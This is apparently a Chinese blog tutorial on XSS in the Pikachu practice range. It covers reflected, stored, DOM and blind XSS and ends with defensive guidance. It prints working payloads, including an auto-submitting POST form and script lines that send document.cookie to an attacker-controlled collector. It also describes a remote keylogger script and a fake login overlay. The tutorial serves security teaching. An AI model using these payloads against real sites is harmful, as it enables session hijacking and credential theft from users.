Pikachu靶场实战：从反射型XSS到Cookie窃取的全链路攻防解析

最新推荐文章于 2026-07-30 15:18:39 发布

原创最新推荐文章于 2026-07-30 15:18:39 发布 · 1k 阅读

本内容遵循CC 4.0 BY-SA版权协议

1. 环境准备与靶场搭建：你的第一个“安全实验室”

想学网络安全，最怕的就是纸上谈兵。理论看了一大堆，真遇到漏洞还是两眼一抹黑。我刚开始学XSS那会儿就是这样，总觉得懂了，但一上手就懵。后来发现，最好的学习方法就是在一个安全可控的环境里“真刀真枪”地干。这就是我们今天要用到的Pikachu靶场。

Pikachu靶场是一个专门为Web安全初学者设计的漏洞练习平台，它集成了各种常见的Web漏洞，比如SQL注入、XSS、CSRF等等。最大的好处就是它把漏洞环境都给你搭好了，你不需要去网上找一个真实的、有风险的网站去测试，更不用担心法律问题。你可以在自己的电脑上，用虚拟机或者Docker快速搭建起来，把它当成你的私人网络安全实验室。

搭建过程其实很简单，我这里以最常用的方式——在本地PHP集成环境（比如PHPStudy、XAMPP）中运行为例。首先，你得确保你的电脑上已经安装了PHP（版本5.4以上，7.x更好）和MySQL。然后，去Pikachu的官方GitHub仓库或者一些安全社区下载它的源码包。下载下来就是一个文件夹，里面包含了所有PHP脚本和数据库文件。

接下来，把这个文件夹整个放到你的Web服务器根目录下。比如，如果你用PHPStudy，就放到它的www目录里。然后，启动你的Apache和MySQL服务。打开浏览器，访问 http://localhost/pikachu-master（具体路径根据你放的文件夹名调整），你应该就能看到Pikachu的首页了。第一次访问时，它通常会提示你初始化安装，点击初始化链接，它会自动创建所需的数据库和数据表。这个过程基本是一键完成的，如果遇到问题，最常见的原因是数据库连接配置不对，你需要检查一下inc/config.inc.php文件里的数据库主机、用户名、密码是不是和你本地环境匹配。

搭建成功后，你会看到一个清晰的漏洞菜单。我们今天的主角“跨站脚本（XSS）”就在其中。点进去，你会发现它又细分了好几种类型：反射型XSS（GET）、反射型XSS（POST）、存储型XSS、DOM型XSS等等。这个分类方式非常科学，它对应了XSS漏洞在实际中不同的产生场景和利用方式。在开始“搞破坏”之前，我强烈建议你先花几分钟浏览一下每个漏洞模块的前端页面长什么样，看看它有哪些输入框、按钮，感受一下正常的功能流程。这就像外科医生动手术前要先看CT片一样，了解“正常”的结构，才能更好地发现“异常”。

2. 反射型XSS（GET）：从一次“恶作剧”弹窗说起

好了，实验室搭好了，我们开始第一个实验。反射型XSS（GET）可以说是XSS家族里最“经典”和“直观”的成员。它的原理一句话就能说清：攻击者构造一个含有恶意脚本的URL，诱骗用户点击，当服务器收到这个请求后，没有经过任何过滤就把恶意脚本“反射”回用户的浏览器页面中执行。

听起来有点抽象？我们来Pikachu靶场里亲手试一下。进入“反射型XSS（GET）”的关卡。你会看到一个简单的搜索框，提示你输入一个名字。正常操作，你输入“Tom”，点击提交，页面上会显示“你好，Tom！”。这看起来人畜无害。但如果我们输入的不是名字，而是一段HTML代码呢？比如，输入 <h1>Hello</h1> 试试。提交后，你会发现“Hello”被放大加粗显示了！这说明服务器直接把我们的输入当成了HTML代码来渲染，没有进行任何转义处理。这是一个非常危险的信号。

既然能插入HTML，那插入JavaScript呢？我们来构造一个经典的XSS测试载荷（Payload）：<script>alert('XSS')</script>。输入，提交……哎？页面没反应，弹窗没出来。别急，这往往是前端做了长度限制。按F12打开浏览器的开发者工具，找到那个输入框的HTML元素，你会看到一个 maxlength 属性，值可能是20。我们把它改成100或者直接删掉。然后再次提交我们的Payload。成功了！一个写着“XSS”的警告框弹了出来。这就是最基础的反射型XSS攻击。

这个过程里发生了什么？我们输入的 <script>alert('XSS')</script> 通过URL的查询参数（比如 ?message=<script>alert('XSS')</script>）发送给了服务器。服务器端的代码大概是这样的：echo "你好，".$_GET['message']."!";。它原封不动地把我们输入的参数拼接进了返回的HTML页面里。于是，浏览器收到的HTML代码中就包含了完整的<script>标签，在解析页面时，它发现这段脚本，就理所当然地执行了。

这种漏洞的利用场景通常是钓鱼。攻击者不会傻到自己去点这个弹窗。他会把这个恶意链接（比如伪装成“看看你的年度账单”、“你中奖了”等）通过邮件、社交网站消息发给受害者。受害者一点击，脚本就在他的浏览器里执行了。你可以把弹窗alert换成任何其他JavaScript代码，比如偷偷地把用户当前页面的Cookie信息发送到攻击者控制的服务器上。在Pikachu靶场里，你可以找到配套的“XSS后台”功能，它模拟了一个攻击者接收数据的服务器。你可以尝试构造这样的Payload：<script>document.location='http://你的IP/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>。当受害者访问这个链接时，他的Cookie就会被悄无声息地发送到你的“后台”里。这就是Cookie窃取的雏形。

3. 反射型XSS（POST）：当攻击藏在表单背后

搞定了GET型，我们来看看它的兄弟——反射型XSS（POST）。原理其实一模一样，都是用户输入被反射回页面执行。关键区别在于数据提交的方式。GET型的数据通过URL参数传递，肉眼可见；而POST型的数据藏在HTTP请求的正文（Body）里，在地址栏看不到。

在Pikachu靶场中，POST型的关卡通常是一个登录表单。你输入用户名、密码，点击登录。服务器验证后，可能会在返回的页面上显示“欢迎回来，[用户名]”。如果这个“[用户名]”是直接从POST数据里取出并输出的，且没有过滤，那么漏洞就产生了。

实战一下。我们进入“反射型XSS（POST）”关卡。页面是一个登录框。我们先正常输入一个用户名，比如“user123”，和一个任意密码，提交。观察返回的页面，看看用户名被显示在了哪里。假设它显示在了一句欢迎语中。接下来，我们就要想办法注入恶意脚本了。但是，POST请求不能像GET那样直接修改URL，我们需要自己构造一个能发起POST请求的页面。

这里就需要一点小技巧了。我们可以自己写一个简单的HTML页面，里面包含一个表单（Form），表单的action指向靶场的漏洞地址，method设为POST，然后在表单里预填好我们的恶意Payload。代码如下：

<html>
<body>
    <form id="myform" action="http://靶场地址/vul/xss/xsspost/post_login.php" method="POST">
        <input type="hidden" name="username" value='"><script>alert("POST_XSS")</script>' />
        <input type="hidden" name="password" value="anything" />
        <input type="submit" value="Submit" />
    </form>
    <script>document.getElementById("myform").submit();</script>
</body>
</html>

注意看username的value，我们闭合了原有的HTML属性，并插入了新的<script>标签。保存这个HTML文件，在浏览器中打开它。页面会自动提交表单，如果漏洞存在，你就会看到弹窗。在真实的攻击中，攻击者会把这个HTML文件放在自己的服务器上，然后把链接发给受害者。受害者一点击，就中招了。

POST型XSS的利用门槛比GET型稍高一点，因为它需要诱导用户访问一个第三方页面（攻击者控制的页面）来发起请求。但它的隐蔽性也更强，因为恶意代码不在URL里，普通用户更难以察觉。防御思路和GET型是一致的：对所有不可信的数据进行输出编码。无论是来自$_GET、$_POST还是$_COOKIE，在拼接到HTML页面之前，都必须使用像htmlspecialchars()这样的函数进行转义，把<、>、"、'等特殊字符转换成HTML实体（如<、>）。

4. 存储型XSS：潜伏在数据库里的“定时炸弹”

如果说反射型XSS是“一次性”的，那么存储型XSS就是“持久性”的，危害也大得多。它的恶意脚本不是通过URL传递，而是被提交到网站服务器（比如写入数据库），然后永久地“存储”在那里。每当其他用户浏览到包含这段恶意脚本的页面时，脚本就会被执行。

想想一个论坛的评论功能。攻击者在评论框里写入 <script>窃取Cookie的代码</script>。如果网站没有过滤，这条评论就被保存到数据库了。之后，每一个来浏览这个帖子的用户，他们的浏览器都会加载并执行这条评论里的恶意脚本。攻击者只需要提交一次，就可以持续影响大量用户，就像埋下了一颗定时炸弹。

在Pikachu靶场中，存储型XSS的关卡通常模拟了一个留言板。我们进去后，先正常留个言，比如“这个靶场真好用！”。提交后，刷新页面，看看留言是否正常显示。然后，我们尝试注入。输入 <script>alert('Stored XSS!')</script> 提交。你会发现，不仅提交后立刻弹窗，之后每次重新访问这个留言板页面，弹窗都会出现！这是因为我们的恶意脚本已经被永久保存在服务器的数据库里了，每次页面加载都会从数据库读出这段脚本并输出到页面上。

存储型XSS的利用方式非常灵活。除了弹窗和窃取Cookie，攻击者还可以：

钓鱼：在页面中插入一个伪造的登录框，诱骗用户输入账号密码。
键盘记录：注入一个键盘事件监听脚本，记录用户在当前页面的所有按键。
篡改页面内容：利用JavaScript动态修改页面内容，比如插入虚假公告、误导链接。
发起进一步攻击：利用受害者的浏览器身份，向网站内部发起请求（如CSRF攻击）。

Pikachu靶场提供了“XSS后台”来演示这些高级利用。例如，要实现键盘记录，攻击者需要先准备一个接收键盘记录的服务器端脚本（rk.php）和一个用于注入的JavaScript文件（rk.js）。rk.js的核心代码是监听页面的onkeypress事件，将按下的键通过Image对象（或Fetch API）发送到攻击者的服务器。然后，在留言板里注入这样的Payload：<script src="http://攻击者服务器/rk.js"></script>。一旦有用户浏览该留言，这个外部脚本就会被加载，开始默默记录用户的每一次按键。我在本地环境测试时，在留言板页面随意打字，然后在XSS后台的“键盘记录”里，立刻就看到了我按下的所有字符，包括我尝试输入的假密码，整个过程完全无感。

防御存储型XSS，输入过滤和输出编码必须双管齐下。在数据存入数据库前，可以进行适当的过滤（但不要仅依赖过滤，容易绕过）。更重要的是，在数据从数据库读出、展示到页面时，必须根据其出现的上下文（HTML正文、属性、JavaScript、CSS等）进行严格的输出编码。同时，为敏感的Cookie标记HttpOnly属性，这样即使XSS漏洞存在，JavaScript也无法读取到这些Cookie，大大增加了攻击者窃取会话的难度。

5. DOM型XSS：不经过服务器的“客户端幽灵”

前面讲的反射型和存储型XSS，恶意数据多少都会经过服务器（哪怕只是反射一下）。而DOM型XSS则完全不同，它的整个漏洞产生和利用过程完全发生在客户端的浏览器中，服务器返回的响应可能是完全“干净”的。

它的原理是：页面中的JavaScript代码（通常是前端JS）不当地操作了DOM（文档对象模型），并且这个操作的数据源来自用户可控的地方，比如URL的片段标识（hash，#后面的部分）、location.search参数，甚至是前端通过postMessage等机制获取的数据。

Pikachu靶场的DOM型XSS关卡设计得很典型。页面中有一个按钮，点击后，会读取URL中#后面的内容，然后通过innerHTML属性动态地插入到页面某个<div>里。前端代码可能长这样：

<script>
    function display() {
        var text = window.location.hash.substring(1); // 获取#号后的内容
        document.getElementById("show").innerHTML = "你输入的是: " + text;
    }
</script>
<button onclick="display()">点击显示</button>
<div id="show"></div>

正常操作，你访问 页面地址.html#hello，点击按钮，页面上会显示“你输入的是: hello”。问题出在innerHTML上，它会把字符串当作HTML来解析。如果我们构造这样的URL：页面地址.html#<img src=1 onerror=alert('DOM XSS')>。点击按钮后，innerHTML试图插入一个<img>标签，并设置src为一个不存在的图片“1”。图片加载失败，就会触发onerror事件，执行里面的JavaScript代码，弹窗就出现了。

整个过程，我们的Payload #<img ...> 根本没有发送到服务器！它只存在于浏览器的地址栏和内存中。服务器看到的请求可能只是对 页面地址.html 的请求，完全不知道后面发生了什么。这使得DOM型XSS很难通过传统的服务端日志监控来发现，更像一个“客户端幽灵”。

防御DOM型XSS，核心思路是安全地操作DOM：

避免使用危险的API：尽可能用textContent或innerText替代innerHTML。如果非要用innerHTML，必须对插入的内容进行净化。
对来源可控的数据进行编码：如果数据要放入HTML上下文，就用HTML编码；如果要放入JavaScript代码段，就用JavaScript编码。
使用安全的DOM操作库：比如DOMPurify，它可以帮你过滤掉字符串中的危险标签和属性，输出安全的HTML。
实施内容安全策略（CSP）：这是一个强大的浏览器安全特性，可以通过HTTP头告诉浏览器只允许执行来自哪些来源的脚本，可以有效遏制包括DOM XSS在内的多种脚本注入攻击。

6. XSS盲打与Cookie窃取实战：从漏洞发现到利用闭环

有时候，我们面对的是一个“黑盒”。你提交了XSS测试代码，但页面上没有任何回显，你不知道它是否被执行了。这种场景就是“XSS盲打”（Blind XSS）。它通常发生在网站的后台管理界面、用户反馈、客服聊天等只有特定人员（如管理员）才能看到的地方。

Pikachu靶场里有“XSS盲打”关卡，模拟了一个用户留言功能，但留言内容不会在前端显示给普通访客，而是提交到“后台”等待管理员审核。这时候，我们提交的Payload看似石沉大海，但如果后台管理员在审核留言时，他的浏览器加载了这条留言，我们的恶意脚本就会在他的浏览器里执行。

盲打的关键在于，我们的Payload需要能够“打电话回家”。我们不能用alert()这种需要交互的弹窗，而是要用能向外发起网络请求的代码，把信息（比如管理员的Cookie、他看到的页面内容）发送到我们控制的服务器上。在靶场中，我们可以利用提供的XSS后台。构造一个Payload，比如在留言里插入：<script>new Image().src='http://你的靶场IP/pikachu-master/pkxss/xcookie/cookie.php?cookie='+encodeURIComponent(document.cookie);</script>。

这段代码创建了一个隐藏的Image对象，并把src指向攻击者的接收脚本，同时将当前页面的Cookie作为参数附加上去。一旦脚本执行，浏览器就会尝试加载这个“图片”，从而向攻击者的服务器发起一个携带Cookie的GET请求。我们在XSS后台的“Cookie收集”页面里刷新，就能看到“战利品”了。

拿到Cookie后能做什么？这通常是会话劫持（Session Hijacking）的关键一步。很多网站使用Cookie来维持用户的登录状态。如果这个Cookie是会话Cookie（Session ID），攻击者把它填入自己的浏览器，就可能直接以受害者的身份登录网站，无需密码。在靶场环境里，你可以打开浏览器的开发者工具，找到“应用程序”（Application）或“存储”（Storage）标签页，手动添加窃取到的Cookie键值对，然后刷新页面，很可能就直接进入了受害者的账户。

为了更自动化地演示这个攻击链，Pikachu靶场还提供了“钓鱼”案例。攻击者利用存储型XSS，在页面中注入一个伪造的登录框脚本。当其他用户访问这个被污染的页面时，脚本会在页面上动态覆盖一个看起来和原网站一模一样的登录层。用户输入账号密码后，这些凭证就会被发送到攻击者的服务器。我在复现这个案例时，修改了钓鱼脚本中的IP地址指向我的接收端，然后在受害机浏览器中访问被注入的页面，果然弹出了登录框，输入测试账号密码后，在攻击机的XSS后台立刻看到了捕获到的信息。整个过程流畅得让人背后发凉，它清晰地展示了，一个看似简单的输入过滤疏忽，是如何一步步演变成严重的凭证泄露事件的。

7. 纵深防御：从开发到部署的XSS防护指南

经历了前面一系列的“攻击”实战，我们应该深刻体会到XSS的危害了。现在，让我们转换视角，从一个防御者的角度，系统地看看如何构建防线。单一的防御措施是脆弱的，我们需要一套纵深防御（Defense in Depth）策略。

第一道防线：输入验证与过滤。 在服务器端，对用户输入进行严格的校验。采用“白名单”原则，只允许符合预期格式的数据通过。例如，姓名字段只允许字母、数字和少数符号，邮箱字段必须符合邮箱格式。对于富文本内容（如博客文章、评论），不能简单粗暴地过滤所有HTML标签，而是应该使用安全的富文本编辑器（如CKEditor配合其XSS过滤插件）或者使用专业的HTML净化库（如PHP的htmlpurifier、Python的bleach）。记住，过滤不能完全依赖，因为攻击者的绕过技巧层出不穷，但它可以作为第一层过滤网。

第二道防线，也是最关键的一环：输出编码。 这是防止XSS最有效、最根本的手段。核心思想是：数据必须根据其最终被放置的“上下文”进行编码，然后才能输出。 你不能把用户输入的数据原样扔进HTML里。

HTML正文上下文：使用HTML实体编码。将 <、>、&、"、' 分别转换为 <、>、amp;、"、'。在PHP中，htmlspecialchars($string, ENT_QUOTES, 'UTF-8') 是标准做法。
HTML属性上下文：同样使用HTML实体编码，并且属性值一定要用引号括起来。避免使用onclick、onerror等事件处理器属性直接拼接用户数据。
JavaScript上下文：这非常危险。绝不能直接将用户输入拼接进<script>标签或事件处理属性（如onclick="userInput"）的JavaScript代码中。应该使用JSON.stringify()将数据转换为JSON字符串，或者使用专门的JavaScript编码函数。
URL上下文：如果用户输入要作为URL的一部分（如链接的href或src），必须进行URL编码（encodeURIComponent）。

第三道防线：利用安全机制。

内容安全策略（CSP）：这是一个通过HTTP响应头Content-Security-Policy来实施的强大策略。它可以告诉浏览器只允许加载和执行来自哪些可信来源的脚本、样式、图片等资源。即使网站存在XSS漏洞，攻击者注入的恶意脚本如果不在白名单内，浏览器也会拒绝执行。例如，设置 script-src 'self' 就只允许执行同源（本站）的脚本。
HttpOnly Cookie：为会话Cookie等敏感Cookie设置HttpOnly属性。这样，JavaScript（通过document.cookie）就无法读取这些Cookie，即使发生XSS，攻击者也无法直接窃取会话身份。这需要在服务器端设置Cookie时完成，例如在PHP中：setcookie('sessionid', $value, 0, '/', '', false, true); 最后一个参数true就是设置HttpOnly。
使用现代前端框架：像React、Vue、Angular这样的现代框架，默认在渲染数据时都会进行转义，这为开发者提供了一层很好的默认保护。但要注意，使用dangerouslySetInnerHTML（React）或v-html（Vue）等API时，就相当于跳过了这层保护，需要格外小心。

第四道防线：安全开发与测试。

安全编码培训：让开发团队充分理解XSS的原理和危害，在代码审查（Code Review）中重点关注数据流和输出点。
自动化安全测试：将静态应用安全测试（SAST）工具集成到CI/CD流程中，自动扫描代码中的潜在漏洞模式。
定期渗透测试与漏洞赏金：邀请专业的安全人员或白帽子对系统进行测试，从攻击者视角发现问题。

防御XSS是一场持久战，没有一劳永逸的银弹。它要求开发者在整个应用生命周期的每一个环节都保持安全意识。从写下第一行代码时就想好数据如何输出，到部署时配置好安全的HTTP头，再到运维时的持续监控。通过靶场的实战，我们亲手验证了漏洞的威力，也更能体会到这些防御措施的必要性。把这些原则和习惯带入你的实际开发工作中，才能真正筑起Web应用的安全防线。

标签

#Web安全 #XSS攻击 #Pikachu靶场 #漏洞防护